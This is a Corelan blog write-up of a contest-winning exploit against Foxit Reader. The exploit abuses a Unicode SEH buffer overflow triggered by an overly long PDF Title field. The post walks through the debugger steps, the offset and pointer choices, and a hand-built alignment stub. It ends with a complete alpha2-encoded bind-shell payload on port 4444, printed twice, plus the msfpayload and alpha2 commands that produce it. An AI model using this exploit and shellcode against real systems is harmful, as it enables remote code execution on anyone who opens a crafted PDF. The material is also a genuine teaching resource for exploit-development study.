Please consider donating: https://www.corelan.be/index.php/donate/


13,320 views

Offensive Security Exploit Weekend

Introduction

I’m excited and honored to be able to announce that Sud0, one of our Corelan Team members, has won the Offensive Security Exploit weekend, an exploiting exercise only available to Offensive Security certified alumni.

The challenge was built around a vulnerability in Foxit Reader.  Each participant was pointed to a Proof of Concept exploit, clearly pinpointing the overflow and indicating control over a structured exception handling record.  Offensive Security posted the following message on their blog :

Aloha Offsec students! You’ve been slapped around by Bob, abused by Nicky and crushed by NNM. Just as you thought it was over, Offensive Security now comes up with a brand new type of pain. This one is for all you hardcore exploit developers out there, who want a real challenge – an Offsec “Exploit Weekend”.
This is the deal: We provide you with a proof of concept, with EIP handed to you on a golden platter. All you need to do is get a shell….muhahaha. The event will take place next weekend, 13th-14th of November and is open to Offsec alumni only. The first person to send in a working POC with a bindshell payload on port 4444 wins a 32 GB WiFi Ipad!

For more information, check out the Offsec Student forms. If you haven’t signed up for the 1day club forums, send in an email to our orders dept. with your OSID!

What follows below are the steps taken by Sud0 to complete the challenge…    I only analyzed his exploit / gathered all his steps, added some comments, and built a little story around it.   I take no credit for this exploit, Sud0 did all of the work by himself, in less than 5 hours…   ouch :)

Have fun with it ! – corelanc0d3r


Sud0’s story :

After quickly analyzing the pdf file, it was clear that the PDF reader is vulnerable to a buffer overflow when parsing an overly long string in the "Title" field.  (Simply open the pdf file in a editor or use Didier Stevens’ pdf-parser.py tool to list the elements in the pdf file)

When opening the PoC pdf file in Foxit Reader (with Immunity Debugger attached to it), an access violation is triggered :

image

(An attempt was made to write beyond the end of the current stack frame, which has triggered the access violation.)

The SEH Chain looks like this :

image

00410041 = Unicode utf converted representation of ‘AA’… so it looks like we control one of the SEH records.

After passing the exception to the application (Shift F9), another access violation is triggered, resulting in the following SEH Chain :

image

When passing the exception again, the exception handler should get called (00410041).  Usually, when overwriting an exception handler with A’s, EIP will point to 41414141 (after the exception is passed), and the debugger will break again because in most cases this is not a valid address.  In this case, however, we are dealing with unicode, and in our case 00410041 is a valid address :

image

(so you would need to set a breakpoint at 00410041 before passing the exception to make sure you can verify that EIP was controlled).

Anyways, unicode payload requires a specific approach, as explained in tutorial 7.  In any case, we will need to find a pointer (to be put in the SE Handler field), which is unicode compatible, and should bring us back either at nseh, or directly in our payload.  Unicode compatible pointers start with a null byte, so unlike typical string based buffer overflows, we now have to look for pointers with null bytes.

First of all, the offset to nseh / seh must be determined.

Replace the A’s in the Title field with a cyclic pattern (10000 bytes or so). You can create a cyclic pattern directly from within Immunity Debugger using the following function in pvefindaddr :

image

Open mspattern.txt, copy the pattern and use it to replace the A’s in the PoC pdf file :

image

Open the modified pdf file again in Foxit Reader (with Immunity Debugger attached).  When the application crashes (before passing the exception to the application), run

!pvefindaddr suggest

This will calculate the offset to nseh and seh :

image

=> offset to nseh is 538.  The script detected that the payload is unicode, so you just need to put 538 characters in your payload and when it gets converted to unicode, you’ll control nseh and seh.

A quick look at the load modules (!pvefindaddr modules) reveals a few things

  • A fair amount of modules are not safeseh protected
  • the foxit reader.exe binary itself starts with a null byte and is not safeseh protected.  <- win !

image

This means that we should be able to find a good p/p/r pointer in the application binary itself. A ‘good’ pointer is a pointer that is not only unicode compatible, but it should not break the buffer string either (so the 2 non-null bytes should be ascii printabled, and the instructions the bytes represent should not break the exploit flow).

Using !pvefindaddr p1 -m foxit, we query the application binary, gather all p/p/r pointers and write them to a file called ppr1.txt

image

Filter out all lines that do not contain the word "Unicode" and you’ll have your list of possible pointers.  Question remains : which one should you take ?

The answer is simple : take the one that won’t break things, and that might help you getting you closer to your buffer when it gets executed as if the pointer were instructions.  (Read tutorial 7 to understand what we mean with this).  This process is trial & error

Sud0 decided to use 006A004B (write "\x4B\x6A" into the SE Handler field ( = K4)).   In order to test, put "AA" at nseh  (00410041), and put 9000 B’s or so after the SE record. Validate that the new SEH record works :

image

That looks perfect. Set a breakpoint at the SE Handler pointer (bp 006A004B) and then pass the exception (twice – use Shift F9) until the breakpoint is hit :

image

Use F7 to step through these 3 instructions (pop ebx, pop ecx, ret 4) . Right after RET is executed, you see this in the CPU view :

image

  • 41 41 = nSEH (AA)
  • 4B 6A = SE Handler
  • 42 42 .. = B’s after the SEH record = place to put our payload

We are now executing code on the stack.  If we look at the stack, at 0012F7A8 and up, we can see our B’s… so we have plenty of space to put our payload here :

image

The payload obviously also needs to be unicode compatible.

The goal is to build an exploit with a bindshell listening on port 4444, so we can easily create the required shellcode using metasploit’s msfpayload :

./msfpayload windows/shell_bind_tcp R | ./msfencode -b ‘\x00’ -t raw > /pentest/exploits/alpha2/bind4444.bin

(You need to exclude null bytes, as the alpha2 unicode encoder does not accept null bytes)

When converting the raw shellcode to unicode, you need to specify a bufferregister. This bufferregister is key in this exploit. If you have tried to use a register such as EAX, EBX, ECX, EDX and so on, then you probably discovered that there was no way/no easy way to make that register point to the begin of your payload.  Of course, you can pop some values from the stack to make a register point "close" to your shellcode… but all pointers are below the shellcode.  And the opcode to add some values to a register break the exploit…   so using a register is not an option here.

So Sud0 decided to use ESP as bufferregister.   Skylined’s alpha2 tool mentions this about using esp as bufferregister :


Unicode baseaddress code using esp will overwrite the byte of memory pointed to by ebp!

Creating the unicode shellcode :

root@bt:/pentest/exploits/alpha2# ./alpha2 –unicode esp < bind4444.bin

Now, still at the first byte of nseh, Sud0 looked at the stack, and determined his approach :

image

The first pointer on the stack actually points into a location we control.  (0012F470), but the space is too small to host shellcode.  A bit further on the stack, we also see pointers to a bigger part of our payload (0012F7A8). So the idea is to pop values off the stack until we get 0012F7A8, then make ESP point at it, and jump to it.  At that location, we can put our shellcode.

The SEH pointer (006A004B), when translated into instructions, look like this :

0012F7AC   4B               DEC EBX
0012F7AD   006A 00          ADD BYTE PTR DS:[EDX],CH

That means that EDX needs to be writeable.  Before the code at nseh / seh executes, the registers look like this :

image

EDX points into ntdll… not a writeable location.

Easiest way to solve this, is by popping the first pointer (which points to the stack) into EDX. Opcde is 5A.

image

After those 4 instructions are executed, we end up here :

image

So far so good.   nseh is now set to "\x5a\x41" and seh is "\x4b\x6a".

The pointer we want to get at, is 3rd from the top of the stack :

image

You could write some simple venetian code to pop 3 times.  Or you can just use a popad to pop values from the stack, one for each register (except esp).  There are plenty of ways to get the desired value into esp and then jump to it.  I’ll explain what Sud0 did :

Phase 1 : jump to shellcode :

image

After the nseh & seh instructions are executed, ESP points at 0012F3C8 (which contains a pointer to a buffer we control… but not to the location in the buffer we want.  The pointer points at the SEH record, so jumping to that location would create a little loop).

But – all of that can be fixed easily : A simple POP ESP will make the stack actually point at that pointer :

image

Then a POPAD is used to jump further down into the buffer :

image

That’s nice – but it destroyed the registers.  The NOP (ADD BYTE PTR DS:[ECX],AL) won’t work because ECX does not point at a writeable location anymore.   ECX contains data that was popped off the stack earlier. So if we can make ecx point at a writeable location by manipulating the value on the stack, we win.

That means that we need to figure out the location on the stack that will be used to populate ECX, and we have to make it point to a writeable location. After doing some simple math, we see that 0012F7C1 holds the data that will be put in ECX.  That is right below our alignment stub, so if we follow the stub with a writable address, we can overcome this issue.

Then finally, a RET will make us jump to a controlled location, with ESP pointing at the first byte. Fortunately, the opcode for ret (C3) does not get mangled.

The entire alignment block looks like this :

0012F7B0   41               INC ECX
0012F7B1   0061 00          ADD BYTE PTR DS:[ECX],AH
0012F7B4   5C               POP ESP
0012F7B5   0041 00          ADD BYTE PTR DS:[ECX],AL
0012F7B8   61               POPAD
0012F7B9   0041 00          ADD BYTE PTR DS:[ECX],AL
0012F7BC   54               PUSH ESP
0012F7BD   0041 00          ADD BYTE PTR DS:[ECX],AL
0012F7C0   C3               RETN


The alignment code is followed by the following bytes (to make ECX point at a writeable location) :

0012F7C1   00B3 003000B3    ADD BYTE PTR DS:[EBX+B3003000],DH

00B30030 is a static location in the foxit reader.exe binary, and is writable :

image

After executing the alignment stub, we end up here :

image

The ret will bring us to the begin of the B’s. So the only thing we have to do is place our shellcode at that location (which is encoded using ESP as bufferregister) and let it run.

Note : as soon as PUSH ESP opcode is put into the buffer, you’ll see that this has an impact on the seh chain.  Don’t worry about it, because you still control the SE record.

Phase 2 : fix issue with ebp

As indicated by skylined, the encoded shellcode will write to ebp.  That means that ebp has to point to a writeable location as well. The payload so far looks like this :

seh = "\x5A\x41\x4B\x6A"
align = "\x41\x61\x5C\x5C\x41\x61\x41\x54\x41\xC3" # Align + SEH ... SEH = 0x006A0046
control="\xB3\x30\xB3" # control of ECX to point it to writeable address
#(need only two bytes, third one is junk)

shellcode = "TUYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ"
shellcode += "11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBJ9JKuK9IbTO4jTNQj"
shellcode += "2X2pwMawYqT2kpqNPTKPvzldKD6MLTKMvZhRkCNmPrkmfnXnoMHqeZSPYiqxQ9ok1op2kp"
shellcode += "lldLdDKmuMlTKNtKxRXiqZJBkPJkhTKpZKpiqZKzCMdQ9tKNTDKYqXnmaIoMa5pIlFLQt5"
shellcode += "pRTYwva8OlMKQ5wHkHtMk3Lo4O845xatKNznDIqhkpfRkzlnkDKPZmLKQJKTK9ttKm1YX2"
shellcode += "iPDktmLoq5sUbkXo96t2iYUu97Rs8rnpNlNxlR2yX5OkOYokOsYOUkTekqn8XIRpsQwMLl"
shellcode += "dnrHhTNYoIoKOU9neM8aXrLrLmPoQphoCNRlnRD38QesCperRqx1LMTYz2iGvOfyoNu9tr"
shellcode += "i8BR0gK78uRpMGLsWKlldPRyXQQKOyoiooxrL1QbNnxs8mspo1bOunQYK1xOlKtm7qy9SO"
shellcode += "xlpnxmPmPs8KpOcRUPd1XPdo0orRYOxpoPi3DS5PhpErXpp2Lp1eyqxpLmTJqQyWqMagbB"
shellcode += "Jp0NsPQr2KO8PLqupNpioOeIxZjA"

When the shellcode starts executing, we see this :

image

00610041 is not writeable.  But ECX still points at a writeable location. So we simply have to modify the shellcode and write to ECX to overcome this issue. Simply change the byte from 55 to 61 to change the destination register :

image

Let the code run…  w00000t !!!

You can easily put in other shellcode, as long as you use ESP as baseregister, and modify the second byte of the shellcode :

seh = "\x5A\x41\x4B\x6A"
align = "\x41\x61\x5C\x5C\x41\x61\x41\x54\x41\xC3" # Align + SEH ... SEH = 0x006A0046
control="\xB3\x30\xB3" # control of ECX to point it to writeable address
#(need only two bytes, third one is junk)

# Unicode Shellcode Alpha2 encoded with a small modification because we had to
# play with registers in the align shellcode before
shellcode = "TaYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ"
shellcode += "11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBJ9JKuK9IbTO4jTNQj"
shellcode += "2X2pwMawYqT2kpqNPTKPvzldKD6MLTKMvZhRkCNmPrkmfnXnoMHqeZSPYiqxQ9ok1op2kp"
shellcode += "lldLdDKmuMlTKNtKxRXiqZJBkPJkhTKpZKpiqZKzCMdQ9tKNTDKYqXnmaIoMa5pIlFLQt5"
shellcode += "pRTYwva8OlMKQ5wHkHtMk3Lo4O845xatKNznDIqhkpfRkzlnkDKPZmLKQJKTK9ttKm1YX2"
shellcode += "iPDktmLoq5sUbkXo96t2iYUu97Rs8rnpNlNxlR2yX5OkOYokOsYOUkTekqn8XIRpsQwMLl"
shellcode += "dnrHhTNYoIoKOU9neM8aXrLrLmPoQphoCNRlnRD38QesCperRqx1LMTYz2iGvOfyoNu9tr"
shellcode += "i8BR0gK78uRpMGLsWKlldPRyXQQKOyoiooxrL1QbNnxs8mspo1bOunQYK1xOlKtm7qy9SO"
shellcode += "xlpnxmPmPs8KpOcRUPd1XPdo0orRYOxpoPi3DS5PhpErXpp2Lp1eyqxpLmTJqQyWqMagbB"
shellcode += "Jp0NsPQr2KO8PLqupNpioOeIxZjA"

image

Sud0 would like to thank :

  • His wife for her everlasting support
  • Corelan Team
  • Offensive Security for organizing the contest

  Copyright secured by Digiprove © 2010 Peter Van Eeckhoutte

© 2010 – 2021, Sud0. All rights reserved.

5 Responses to Offensive Security Exploit Weekend

Corelan Training

We have been teaching our win32 exploit dev classes at various security cons and private companies & organizations since 2011

Check out our schedules page here and sign up for one of our classes now!

Donate

Want to support the Corelan Team community ? Click here to go to our donations page.

Want to donate BTC to Corelan Team?



Your donation will help funding server hosting.

Corelan Team Merchandise

You can support Corelan Team by donating or purchasing items from the official Corelan Team merchandising store.

Protected by Copyscape Web Plagiarism Tool

Corelan on Slack

You can chat with us and our friends on our Slack workspace:

  • Go to our facebook page
  • Browse through the posts and find the invite to Slack
  • Use the invite to access our Slack workspace
  • Categories